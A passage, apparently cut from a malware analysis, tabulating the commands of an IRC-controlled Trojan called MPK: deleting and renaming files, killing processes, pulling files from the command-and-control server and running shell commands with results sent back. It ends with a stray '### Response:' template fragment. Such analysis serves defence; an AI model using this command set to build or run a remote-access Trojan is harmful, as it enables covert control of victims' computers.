statement used in the custom protocol variant of MPK !DeleteFile Deletes a specified file   !NickChange Changes the nickname that the Trojan uses to log into the C2 IRC server Writes it to “nick435.tmp” for subsequent logins !ProcessKill Terminates a process based on PID   !RenameFileFolder Renames a file or folder and returns a list of the containing folder to the C2 server !GetFileOfServer Writes a file from the C2 server to a specified file   !ExecuteCommand Uses the command prompt sub-process to execute commands and returns their results to the C2  ### Response: .